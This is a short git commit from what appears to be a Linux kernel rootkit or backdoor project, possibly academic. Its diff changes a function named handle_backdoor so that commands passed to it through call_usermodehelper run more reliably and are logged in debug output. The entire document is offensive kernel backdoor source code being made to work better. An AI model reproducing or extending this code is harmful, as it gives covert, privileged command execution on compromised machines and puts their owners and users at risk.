commit 2e966a605bfd6a0a127c05ebc568652be10c8a34
parent f932b09a03b4cd84450536461d02caaea417b39a
Author: deurzen <m.deurzen@tum.de>
Date: Mon, 30 Nov 2020 13:22:25 +0100
fixes backdoor (execve) bug
Diffstat:
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/src/channel.c b/src/channel.c
@@ -102,7 +102,9 @@ handle_backdoor(unsigned long arg)
NULL
};
- call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
+ DEBUG_INFO("executing %s\n", buf);
+
+ call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
return 0;
}